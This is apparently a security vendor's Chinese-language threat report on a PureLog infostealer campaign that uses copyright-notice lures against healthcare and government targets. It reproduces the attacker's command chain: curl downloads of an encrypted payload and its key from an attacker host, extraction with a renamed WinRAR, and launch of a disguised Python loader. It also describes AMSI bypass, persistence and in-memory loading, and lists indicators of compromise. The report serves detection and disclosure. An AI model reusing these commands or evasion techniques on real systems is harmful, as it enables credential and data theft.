重點摘要
- 趨勢科技TrendAI™分析了一起 PureLog 資訊竊取程式攻擊行動,它利用高度針對性且符合使用者當地語言的誘餌,偽裝成著作權侵權通知來提高使用者上當的機率。
- 其隱匿的多重階段植入機制結合了加密惡意檔案與遠端金鑰擷取功能來阻礙靜態分析。
- 惡意程式採用無檔案執行技巧,透過一個 Python 式載入器與兩個 .NET 載入器,讓 PureLog 資訊竊取程式完全在記憶體內執行。
- 載入器結合了躲避 Windows 惡意程式掃描介面 (AMSI)、利用系統登錄常駐、擷取螢幕截圖,以及受害電腦指紋等技巧,暗中蒐集情資。
- 監測資料發現它與 PureLog 幕後操縱 (CC) 相關基礎架構溝通的證據,主要攻擊醫療、政府、旅館及教育等產業。
簡介
趨勢科技TrendAI™發現了一起針對性惡意程式攻擊行動專門散布 PureLog 資訊竊取程式,該程式利用多重階段封裝的 .NET assembly 來蒐集敏感資料,包括:Chrome 瀏覽器登入憑證、擴充功能、虛擬加密貨幣錢包,以及系統資訊,攻擊時會使用一個偽裝成著作權侵權通知的檔案作為誘餌。這是一個低成本且容易使用的資訊竊取程式,因此就算是技術層次較低的駭客也能駕馭。這起攻擊有可能是利用網路釣魚郵件來誘騙受害者下載專為受害者當地語言量身訂做的惡意執行檔。
惡意程式一旦執行,就會啟動一套專為躲避偵測而設計的多重階段感染流程。值得注意的是,它會下載一個偽裝成 PDF 檔案的加密惡意檔案,然後從駭客操控的遠端基礎架構取得解密的密碼。惡意程式並未內建解密程式碼,而是使用一個重新命名、並偽裝成 PNG 影像的 WinRAR 解壓縮工具來解開惡意檔案。
解開後的惡意檔案會啟動一個 Python 式載入器在記憶體內解開並執行最終的 .NET PureLog 資訊竊取程式。此外,流程中也加入了虛擬機器反制技巧來躲避自動化分析環境。
根據我們觀察,遭受這起攻擊最嚴重的是德國和加拿大的醫療機構與政府機關,顯然駭客有特別挑選受害者,並且有組織地暗中傳播,而非單純地大規模散布。
攻擊行動概述
這起攻擊行動主要散播 PureLog 資訊竊取程式,並透過一套有組織的多重階段感染流程來提高成功率並減少被偵測的機率。
惡意執行檔會偽裝成著作權侵權通知,並使用受害者當地語言的檔案名稱 (例如,使用德語誘餌來攻擊德國,使用加拿大英文來攻擊加拿大)。
這起攻擊很可能是經由含有惡意下載網址的網路釣魚郵件散布,而非直接使用附件檔案,這樣駭客就能集中掌控惡意檔案來源與加密方式。如往常一樣,使用者應避免點選不請自來或非預期電子郵件中的連結,因為這類攻擊非常仰賴社交工程技巧來誘騙受害者開啟惡意下載網址。
趨勢科技TrendAI™發現這起行動的攻擊目標主要分布在以下國家和產業:
產業
- 醫療
- 政府機關
- 旅館
- 教育
國家
- 德國
- 加拿大
- 美國
- 澳洲
從受害者集中特定地區與產業就可看出其攻擊目標有經過篩選,而非單純只是大量散布。
我們在調查這起行動時發現其主要特徵包括:
- 使用 DLL 側載來啟動執行檔。
- 加密的惡意檔案會偽裝成 PDF 檔案來散播。
- 解壓縮的密碼是從遠端取得。
- 使用重新命名的 WinRAR 工具程式來解壓縮。
- 使用 Python 式載入器來解開並執行 .NET PureLog 惡意檔案。
感染過程
攻擊行動採取一種有明確組織的多重階段感染程序,將惡意檔案散播行為融入正常系統行為當中。
圖 1 顯示我們在分析過程中觀察到的完整執行步驟。
感染過程一開始是受害者手動執行了一個偽裝成法律聲明文件的檔案:
Dokumentation über Verstöße gegen Rechte des geistigen Eigentums.exe (檔名翻譯為 「智慧財產權侵權文件.exe」)
這個執行檔會啟動指令列程式:
cmd.exe /c ...
這起攻擊完全仰賴使用者操作來啟動,所以並未用到任何漏洞或漏洞攻擊手法。
為了降低疑慮,惡意程式會立即開啟一個 PDF 誘餌文件,顯示一份看似正常的文件,但惡意行動仍在背後進行。
start "" ".\_\document.pdf"
這份文件的用意是要分散使用者的注意力,讓動作看起來合理。
惡意程式會從駭客掌控的基礎架構下載加密的惡意檔案:
curl -A "curl/meow_meow" -s -k -L "hxxps://quickdocshare[.]com/DQ" -o ".\_\invoice.pdf"
以下是這道指令的一些重要技術細節:
- 客製化 User-Agent:curl/meow_meow
- -s (靜音模式)
- -k (忽略 TLS 驗證)
- -L (跟隨重新導向)
- 將惡意檔案以「_invoice.pdf」為名稱儲存在本機
該檔案雖然被標記為 PDF 檔案,但其實是一個加密的壓縮檔。
駭客並未將解壓縮密碼內嵌在惡意程式當中,而是動態從另一個端點取得:
curl -A "curl/meow_meow" -s -k -L "https://quickdocshare.com/DQ/key"
這個請求的回應會變成指令列參數 (%i) 並用於解壓縮。惡意程式內並無寫死的靜態密碼,所以研究人員在離線分析時更加困難。駭客可根據受害者身分來變更密碼,確保每一次感染都能個別控管或作廢。
此外,這樣的設計也可防止分析人員在不進入駭客基礎架構的情況下取得惡意檔案。整體來說,這樣的作法建立了一套經由基礎架構控管的解密方式,讓駭客從遠端完全掌控惡意檔案的解開時機與方式。
執行一個偽裝成 PNG 影像的檔案:
- \_FILE_2025년_재직증명서_원본.png (檔名翻譯為「2025 年就業證明 – 正本」)
這個檔案其實是一個重新命名的 WinRAR 執行檔。
解壓縮指令:
".\_\FILE_2025년_재직증명서_원본.png" x -p"%i" ".\_\invoice.pdf" "C:\Users\Public\" -y
以下是指令參數的詳細說明:
- x → 解開壓縮檔
- -p"%i" → 使用動態取得的密碼
- 輸出 → C:\Users\Public\
- -y → 自動覆寫
此階段使用了正常解壓縮功能來擷取出下一階段的惡意檔案。
解壓縮成功之後,加密的壓縮檔就會被刪除:
del ".\_\invoice.pdf"
這麼做可減少鑑識分析可用的線索,並清除加密暫存檔案。
接著,更換工作目錄:
cd "C:\Users\Public\Windows"
這個目錄刻意模仿正常的 Windows 目錄結構來降低使用者疑慮。
此階段會執行前面擷取出來的惡意檔案:
"C:\Users\Public\Windows\svchost.exe" "instructions.pdf"
這裡我們發現到一些值得注意的觀察點:
- 指令中的 svchost.exe 並非正牌的 Windows 元件,而是重新命名的 python.exe 檔,用來執行 Python 腳本。
- instructions.pdf 是經過加密編碼的 Python 腳本,用來載入兩個 .NET 執行檔。
變種分析:與原本流程的差異
我們還發現了第二種感染程序,採用與最初發現的變種相同的核心工具,但有四個階段與原本的感染程序存在重大差異,詳細說明如下。
| 階段 | 感染程序 1 (最初的活動) | 感染程序 2 (較近期的活動) |
|---|---|---|
| 惡意檔案派送方式 | 當下從幕後操縱 (CC) 伺服器下載 (quickdocshare[.]com/DQ) | 預先包裝在植入器檔案內 |
| 解密金鑰 | 另外從 CC 伺服器 (/DQ/key) 下載 — 從未儲存在磁碟上 | 寫死在指令列內:efvBE97W7Ke4RnZaDTXOJzgqa04EPfz9 |
| 最終執行方式 | svchost.exe "instructions.pdf" — 邏輯在二進位檔案內 | svchost.exe -c "exec(base64...)" — 完全在指令列中指定 Python 的行為 |
| 基礎架構 | 需要運作中的 CC 伺服器 — 連線至兩個端點 | 無需 CC 伺服器 — 植入器執行之後完全離線運作 |
表 1:我們分析到的兩種感染程序之間的差異。
TrendAI Vision One™ 偵測
2026 年 2 月 6 日,我們建立了一個 TrendAI Vision One™ 偵測模型,Executable Download via Google Ads Malvertising (經由 Google Ads 惡意廣告下載可執行檔),用來偵測使用含有 Google Ads 追蹤參數 (如 gclid、gad_source 和 gad_campaignid) 的網址直接下載執行檔 (.exe、.dll、.bat、.msi) 的狀況。該模型解決了日益頻繁的惡意廣告威脅,因為駭客經常利用 Google Ads 基礎架構在贊助廣告當中內嵌惡意連結來散布惡意程式。
PureLog 資訊竊取程式攻擊行動就是一個值得注意的案例,它會經由網路釣魚郵件和 Google Ads 惡意廣告來散播其惡意檔案,駭客會購買廣告空間,然後將使用者導向使用追蹤參數來監控並躲避偵測的惡意下載網站。Vision One 的模型會利用監測資料來偵測透過 Google Ads 參數從網際網路下載執行檔的情況,因此可提升偵測能力並防範這類精密攻擊。
偵測邏輯:
此規則會在下列情況觸發:
- 偵測到網際網路下載事件。
- 該請求要下載一個執行檔。
- 網址含有 Google Ads 參數。
- 網域不在白名單內。
規則條件:
"eventsub and bin_download and google_ads_params and not 1 of whitelist_*"
這條規則可偵測利用前述含有 Google Ads 追蹤參數的網址直接下載執行檔的情況。駭客經常運用這樣的手法,經由合法的 Google Ads 基礎架構發送惡意廣告來散布惡意程式。
發掘重要線索
我們透過 TrendAI Vision One™ EDR 監測資料來蒐集受害端點上的線索。從檔案目錄來看,感染過程中執行的惡意誘餌 (C:\Users[REDACTED]\Downloads\Notice of Alleged Violation of Intellectual Property Rights_1770380091603\Notice of Alleged Violation of Intellectual Property Rights.exe) 是儲存到「Downloads」目錄,這告訴我們它是被下載到電腦上。
我們透過 Vision One 確認了這個惡意誘餌是經由 Chrome 從某個不明來源下載。
- hxxps://cdn[.]eideasrl[.]it/Notice%20of%20Alleged%20Violation%20of%20Intellectual%20Property%20Rights_1770380091603[.]zip
被下載的 ZIP 檔案內含一個 shellcode 載入器,一旦執行,就會產生多個後續處理程序,成為感染過程的一環。這道指令會開啟一個誘餌檔案、下載一個惡意檔案並使用從遠端取得的密碼來解壓縮、清除證據,並且執行一個可能惡意的檔案。整個程序是專為散布惡意程式並盡可能避免被偵測而設計。
2 - TELEMETRY_PROCESS_CREATE
processCmd: cmd.exe /c start "" ".\_\document.pdf" && curl -A "curl/meow_meow" -s -k -L "hxxps://quickdocshare[.]com/DQ" -o ".\_\invoice.pdf" && for /f "delims=" %i in ('curl -A "curl/meow_meow" -s -k -L "hxxps://quickdocshare[.]com/DQ/key"') do ".\_\FILE_2025년_재직증명서_원본.png" x -p"%i" ".\_\invoice.pdf" "C:\Users\Public\" -y >nul && del ".\_\invoice.pdf" && cd "C:\Users\Public\Windows" && "C:\Users\Public\Windows\svchost.exe" "instructions.pdf"
為了進一步研究這道指令和 PDF 檔案的用途,我們使用以下搜尋查詢來發掘與 PureLog 資訊竊取程式密切相關的證據:
搜尋查詢:endpointHostName:[REDACTED] AND ("*document.pdf*" OR "*instructions.pdf*" OR "*invoice.pdf*")
301 - TELEMETRY_DNS_QUERY
processFilePath C:\Windows\System32\curl.exe
processCmd curl -A "curl/meow_meow" -s -k -L "https://quickdocshare.com/DQ" -o ".\_\invoice.pdf"
- quickdocshare[.]com
- dq[.]bestshoppingday[.]com
- logs[.]bestshopingday[.]com (與 PureLog 資訊竊取程式密切相關)
4 - TELEMETRY_PROCESS_LOAD_IMAGE
- processFilePath C:\Users\Public\Windows\svchost.exe
- processCmd "C:\Users\Public\Windows\svchost.exe" "instructions.pdf"
- svchost.exe 檔案是經過簽署的 python.exe 檔案,用來執行 Python 腳本。
- 父指令會下載檔案、使用金鑰來解開檔案、刪除檔案,然後啟動一個可能惡意的執行檔。
在 C:\Users\Public\Windows\ 目錄下產生了多個 .dll 和 .pyd 檔案:
- C:\Users\Public\Windows\python314.dll
- C:\Users\Public\Windows\DLLs\_ctypes.pyd
- C:\Users\Public\Windows\DLLs\libffi-8.dll
- C:\Users\Public\Windows\DLLs\_hashlib.pyd
- C:\Users\Public\Windows\DLLs\libcrypto-3.dll
- C:\Users\Public\Windows\DLLs\_socket.pyd
- C:\Users\Public\Windows\DLLs\_ssl.pyd
- C:\Users\Public\Windows\DLLs\libssl-3.dll
- C:\Users\Public\Windows\DLLs\_bz2.pyd
- C:\Users\Public\Windows\DLLs\_lzma.pyd
- C:\Users\Public\Windows\DLLs\_zstd.pyd
204 - TELEMETRY_CONNECTION_CONNECT_OUTBOUND
- 166[.]0[.]184[.]127 (PureLog 資訊竊取程式的 CC 伺服器)
- 172[.]64[.]80[.]1
- 64[.]40[.]154[.]96
惡意程式會試圖列出系統上已安裝的所有防毒產品。
901 - TELEMETRY_AMSI_EXECUTE
processFilePath C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
processCmd powershell -NoProfile -WindowStyle Hidden -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class AntivirusProduct | ForEach-Object { $_.displayName }"
parentCmd "C:\Users\Public\Windows\svchost.exe" "instructions.pdf"
處理程序注入
以下指令會啟動 Microsoft Edge 和 Google Chrome 來當成擴充功能的渲染處理程序,使用臨時的使用者設定檔、停用沙盒模擬環境,然後將不安全的來源標示為安全。這些旗標經常被用於自動化,或者被惡意程式用來躲避偵測與隔離機制:
processFilePath C:\Users\Public\Windows\svchost.exe
processCmd C:\Users\Public\Windows\svchost.exe C:\Users\Public\Windows\instructions.pdf 1
eventSubId 701 - TELEMETRY_MODIFIED_PROCESS_CREATE_REMOTETHREAD
objectCmd "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\[REDACTED]\AppData\Local\Temp\qs4hg1fa.prl" --extension-process --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --time-ticks-at-unix-epoch=-1770049222788996 --launch-time-ticks=353424829690 --metrics-shmem-handle=4156,i,299084443807041640,15390022656206001629,2097152 --field-trial-handle=2068,i,9344726561852850498,17132715209763330275,262144 --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=3988 /prefetch:9
GZip 壓縮的惡意檔案
我們觀察到一個使用 GZip 來解壓縮惡意檔案的指令。它會回報系統詳細資訊、資安產品、使用者資訊、外部 IP 位址,以及可疑執行檔的路徑 (位於非標準位置的 svchost.exe)。
processFilePath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
processCmd
H4sIAAAAAAAEAFN6ysj1iJHrPiOXgpuLoZmbq7Ori6OTqbmTgZEpkDZ2dLF0djRxtrAwchNgVDIIz8xLyS8vVnBJTUvNS0kt0lEIKQIyFHwzk4vyFRwLUisU/PNSFRzzSjLLMotKi7UEYDoMDRXMTJwyS4xYTfSM9QysWEKLU4uchBOTilJLMlKLMpOzo/2DPRzDHWM9Dm5lDuIxM9EzMdAzNDXRszSLYvbTd0xgKWIHWptYmlNSpexsFQPSXxwTUJqUk5kcA7UlprgsOSO/uEQvtSK1iZHbIEXBIEPBIFfBoBgAZeNq1egAAAA=
parentCmd C:\Users\Public\Windows\svchost.exe C:\Users\Public\Windows\instructions.pdf 2
parentFilePath C:\Users\Public\Windows\svchost.exe
解碼邏輯如下:
- Base64 解碼:解開最初的字串。
- GZip 解壓縮:Base64 解碼後的輸出顯示的是一個 GZip 標頭。
- Protobuf 反序列化:解壓縮後的資料會使用 Protocol Buffers (protobuf) 機制來反序列化。
下表顯示惡意程式在電腦上產生的電腦指紋:
| 欄位 | 數值 | 解讀 |
|---|---|---|
| 1.1.1 | FD16FECEDAB57B025AB53AD9CA4C882F | 唯一識別碼,可能是電腦或連線階段 ID。 |
| 1.1.2 | 1 | 狀態碼或旗標 (可能代表「運作中」或「成功」)。 |
| 1.1.4 | Windows Defender, Trend Micro Apex One Antivirus | 已安裝的資安產品。 |
| 1.1.5 | Windows 11 64Bit | 作業系統版本。 |
| 1.1.6 | 4.3.0 | 可能是惡意程式版本、代理程式版本或工具版本。 |
| 1.1.7 | User | 使用者類型或權限等級。 |
| 1.1.8 | [已刪除][已刪除] | 使用者名稱以及可能的位置或電腦名稱。 |
| 1.1.9 | 56001 | 可能是處理程序 ID、連接埠,或內部參考編號。 |
| 1.1.10 | 64.40.154.96 | 電腦的外部 IP 位址。 |
| 1.1.11 | 無 | 無法取得或不適用 (可能是主機名稱、網域或其他資訊)。 |
| 1.1.12 | 4 | 可能是狀態或類別代碼。 |
| 1.1.14 | Default | 使用的設定檔或組態。 |
| 1.1.15 | C:\Users\Public\Windows\svchost.exe | 可疑執行檔的路徑 (很可能是惡意檔案)。 |
| 1.1.16 | 0d 0h 0m 0s | 運作時間或執行時間 (才剛開始)。 |
表 2:電腦指紋與解讀。
惡意程式啟動 Google Chrome 並顯示一個標題為「PURE! CHROME」的 HTML 網頁。
侵權通知壓縮檔 Alleged Violation of Intellectual Property Rights_1770380091603.zip (涉嫌違反智慧財產權) 是一個惡意誘餌,裡面含有以下內容。該檔案是從某個外部來源取得:
- hxxps://cdn[.]eideasrl[.]it/Notice%20of%20Alleged%20Violation%20of%20Intellectual%20Property%20Rights_1770380091603[.]zip (SHA256: 35efc4b75a1d70c38513b4dfe549da417aaa476bf7e9ebd00265aaa8c7295870)
- Notice of Alleged Violation of Intellectual Property Rights.exe,已重新命名為 ADNotificationManager.exe (SHA256: 1539dab6099d860add8330bf2a008a4b6dc05c71f7b4439aebf431e034e5b6ff)
- urlmon.dll 檔案,shellcode 載入器 (SHA256:ac591adea9a2305f9be6ae430996afd9b7432116f381b638014a0886a99c6287)
網址 quickdocshare[.]com 是用來取得加密惡意檔案 invoice.pdf 的來源。
invoice.pdf 檔案會解壓縮出多個檔案到「C:\Users\Public\Windows\」目錄,包括:svchost.exe (SHA1: f4532fc1e5d53a732fcc883f7125ceb06b985048),這是一個重新命名的 Python 應用程式。
被發現的網域中有兩個可對應到先前調查的事件中觀察到的網域。
- mh[.]bestshopingday[.]com
- quickdocshare[.]com
- logs[.]bestsaleshoppingday[.]com
我們有觀察到對外連線至以下 IP 位址:
- 172[.]64[.]80[.]1 (Cloudflare)
- 166[.]0[.]184[.]127 (PureLog 資訊竊取程式 CC 伺服器)
- 64[.]40[.]154[.]96 (Tier.Net Technologies LLC)
取得惡意檔案:完成 PureLog 感染程序的調查與溯源
在未取得 instructions.pdf 之前,我們無法確定最終的惡意程式,也無法確認這起攻擊背後真正的惡意程式家族。儘管我們成功重建了絕大部分的感染程序,但少了這個檔案,情資將出現重大缺口。
在資安事故一開始時,我們的資安事故應變 (IR) 團隊並無法從受影響的主機上取得 instructions.pdf 檔案。
instructions.pdf 分析
後來取得 instructions.pdf 之後,我們對該檔案進行了靜態分析與行為分析。儘管其副檔名是「.pdf」,但它其實並非一份文件,而是用來承裝感染程序前期執行的 Python 式載入器所用到的惡意檔案。
這個腳本是一個功能完整的 Python 式載入器,專門攻擊 Windows 系統。它的內容經過大量加密編碼,每個字串都使用 Base64 編碼,而且每個數值常數都隱藏在多種運算式背後。在清除了所有雜訊之後,我們看到腳本實作了八項不同的功能,它們會以特定順序執行。
腳本會在載入惡意檔案之前先停用 Windows Defender 的惡意程式掃描介面 (AMSI)。這分成兩階段:第 1 階段會使用 MOV EAX、E_INVALIDARG + JMP 指令來修改 AmsiScanBuffer 的進入點,讓該函式永遠傳回「非惡意」。第 2 階段會從進入點開始動態掃描,找出任何條件式跳躍指令 (JZ/JNZ),然後將它們換成無條件跳躍指令 (JMP),確保就算在第 1 階段被部分偵測到,也能躲過偵測。
停用 AMSI 之後,腳本就會將一個加密的 .NET assembly 完全載入記憶體內,確保檔案不會寫入磁碟。它會利用 COM vtable 呼叫來啟動 .NET CLR,建構一個含有解密後 assembly 位元組的 SAFEARRAY,然後呼叫 AppDomain.Load_3() 來執行反射式載入並執行惡意檔案。它會根據執行時期偵測到的 32/64 位元架構選擇呼叫方式。
腳本會在當前使用者系統登錄機碼 Run 底下,將自己安裝成 Windows 開機自動執行 (autorun) 項目。它使用「SystemSettings」作為數值名稱來冒充成正常的 Windows 元件以免遭到懷疑。在寫入之前,它會先刪除任何現有數值,以確保路徑隨時保持更新。如此可確保每次使用者登入時都能重新執行。
腳本可利用 Windows GDI API 擷取整個桌面的截圖,取得原始的 24 位元 BGR 像素資料,將 GDI 從下至上的像素列順序反過來,然後在記憶體內手動建構一個有效的 PNG 檔案,而不使用 PIL/Pillow 或寫入任何檔案到磁碟。接著,這個 PNG 會經過 Base64 編碼,然後嵌入外傳的 JSON 惡意檔案。
在將螢幕截圖外傳之前,腳本會蒐集三種受害者識別資料:電腦主機名稱、登入的使用者名稱,以及所有已安裝的防毒產品名稱。
這個列出防毒產品的動作是暗中使用 WMI 指令列工具 (WMIC) 對 SecurityCenter2 這個 WMI 命名空間執行。這是一種常見的偵查技巧,可用來判斷受害者是否為高價值目標,並作為挑選後續惡意檔案的參考。
所有蒐集到的資料都會彙整成一個 JSON 物件,並透過 HTTPS 傳送至 CC 伺服器。為了防止重複提交 (例如在常駐並重新開機之後),腳本會建立第二個系統登錄機碼來記錄一個狀態旗標。當成功收到 HTTP 200 回應之後,它會在 AppModel\StateRepository 底下的 CacheVersion 寫入一個 DWORD 數值 (1337)。往後執行時都會先讀取這個機碼,如果看到 1337 就會提前終止。
載入最終資訊竊取程式的步驟
載入器腳本 (instractions.py) 內含兩個 Base64 編碼並 XOR 加密的 .NET 惡意執行檔。腳本執行時會解出 Dgrfauysx.exe 和 Fsywsuac.exe 兩個程式,並將它們啟動。腳本的工作到此全部完成,接下來的動作都在 .NET 載入器內完成。
兩個載入器都是結構相同的 .NET assembly,並使用 ConfuserEx 加以保護,ConfuserEx 是一套基於狀態機器的程式碼混淆器,可將程式控制流程分散成數百個 switch 分支,讓靜態分析變得非常困難。儘管使用了混淆器,但兩者的解密流程卻相同:
- 載入器會呼叫 ResourceManager.GetObject() 並提供寫死的資源名稱 (Dgrfauysx 為「Filkxqmxu」,Fsywsuac 為「Cgwcx」),從內嵌的 ResourceSet 中擷取出一個大型的加密位元組 blob (二進位大型物件)。
- 這個 blob 是利用 TripleDES-CBC 來解密。金鑰 (Key) 和初始化向量 (IV) 是內嵌在 .NET #US (user-string) heap 中的 Base64 字串。
- 解密後的輸出是一個 GZip 壓縮的 .NET assembly (PE 檔案)。
- GZip 串流是透過 System.IO.Compression.GZipStream 在記憶體中解壓縮。
- 產生的原始 assembly 位元組會經由 Assembly.Load() 直接載入當前的 AppDomain 內,不會將任何檔案會寫入磁碟。
雙載入器的設計 (Dgrfauysx + Fsywsuac 同時執行) 是一種備援機制。如果某個載入器被端點控管機制所攔截或終止,另一個載入器也會下載並執行 PureLog 資訊竊取程式。兩個載入器共用相同的 CC 位址和常駐用的系統登錄機碼。
Assembly.Load() 載入的 .NET assembly 就是 PureLog 資訊竊取程式,它完全在載入器處理程序受管理的 heap 記憶體內執行。由於不會寫入任何檔案,因此那些磁碟式防毒軟體和端點偵測工具不會偵測到任何檔案建立事件。載入器會執行 GC.Collect() 與執行緒清除動作,將自己的物件從受管理的 heap 中移除,讓資訊竊取程式成為處理程序中唯一使用中的 .NET 程式碼。
結論
PureLog 資訊竊取程式攻擊行動展現出一種高度組織化的多重階段感染程序,結合了社交工程技巧、分階段植入惡意檔案,以及記憶體內執行能力,同時避開了偵測與鑑識分析。
駭客將惡意執行檔偽裝成法律聲明,利用加密的惡意檔案偽裝成 PDF 檔案,從遠端動態取得解密金鑰,並利用重新命名的 WinRAR 工具來解壓縮檔案,這些都能有效減少一些靜態指標,阻礙自動化分析。Python 式載入器與雙重 .NET 載入器導入了備援機制與無檔案執行方式,確保 PureLog 資訊竊取程式能穩穩地啟動,又不會在硬碟上留下痕跡。
整體來說,這起攻擊反映出駭客正從亂槍打鳥的大量散播,轉而針對經過挑選的攻擊目標,目前看到的受害目標集中在幾個國家的政府機關、醫療、教育及旅館業。結合了加密編碼、從基礎架構集中掌控的解密方式,以及從記憶體內執行,這些都突顯出行為偵測、網路監測、主動式威脅追蹤對於偵測及防範這類進階資訊竊取程式有多麼重要。
採用 TrendAI Vision One™ 的主動式防護
TrendAI Vision One™ 是一套將資安曝險管理、資安營運以及強大的多層式防護集中在一起的業界領先 AI 驅動企業網路資安平台。
TrendAI Vision One™ Threat Intelligence Hub 威脅情資中心提供了有關新興威脅與駭客集團的最新洞見、TrendAI™ Research 的獨家戰略性報告,以及 TrendAI Vision One™ 平台的 TrendAI Vision One™ Threat Intelligence Feed 威脅情資來源。
侵權通知背後隱藏的多重階段 PureLog 資訊竊取程式攻擊關鍵產業
侵權通知背後隱藏的多重階段 PureLog 資訊竊取程式攻擊關鍵產業
TrendAI Vision One™ Search 應用程式
TrendAI Vision One™ 客戶可以使用 Search 應用程式來尋找或追蹤本文提到的惡意指標,看看是否也出現在自己的環境中。
追蹤查詢
detectionName:*PURELOGSSTEALER*
除此之外,TrendAI Vision One™ 客戶還可啟用 Threat Insights Hub 權利來取得更多追蹤查詢。
入侵指標 (IoC)
如需本文提到的入侵指標完整清單,請至此處。